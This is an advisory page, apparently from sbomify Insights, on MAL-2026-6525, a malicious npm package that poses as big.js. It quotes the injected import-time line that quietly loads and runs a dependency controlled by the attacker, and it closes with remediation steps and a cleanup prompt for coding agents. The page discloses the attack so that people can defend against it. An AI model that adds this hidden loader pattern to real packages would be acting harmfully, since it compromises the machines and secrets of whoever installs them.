# MAL-2026-6525: Malicious code in ts-einkle-slot (npm)


- **Type:** Malicious package
- **Package:** `ts-einkle-slot` (npm)
- **Published:** 26 Jun 2026
- **Also known as:** GHSA-8cxx-rp6g-mcr9

## What is MAL-2026-6525?

MAL-2026-6525 is a malicious package in ts-einkle-slot, published on 26 Jun 2026. 

### Official description

Package is published as `ts-einkle-slot` but its tarball contents (source, README, LICENCE, package.json author/repository/description) are copied verbatim from Michael Mclaughlin's legitimate `big.js` package, presenting a spoofed publisher identity. The CommonJS and ESM entrypoints (`big.js` and `big.mjs`, referenced from `main`/`module`/`exports`) contain an injected top-level block: `try { const doc = require('node-slot'); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {}`. This causes the transitive dependency `node-slot` (pulled in via the declared `ts-einkle` dependency) to be loaded and its `from_str()` invoked the moment any consumer `require`s or `import`s this package, with errors silently swallowed so the host package keeps functioning as a drop-in big.js replacement. The package's advertised purpose is decimal arithmetic; there is no legitimate reason to load an unrelated `node-slot` runtime module on import. Installer harm is delivered by the attacker-controlled transitive `node-slot`, which is pulled into the install tree solely by virtue of installing this package.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-6525?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6525 is a malicious package: ts-einkle-slot (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6525/ (Markdown: https://insights.sbomify.com/MAL-2026-6525/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6525

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-6525/
Summaries are generated and may contain mistakes; the official description above is the record.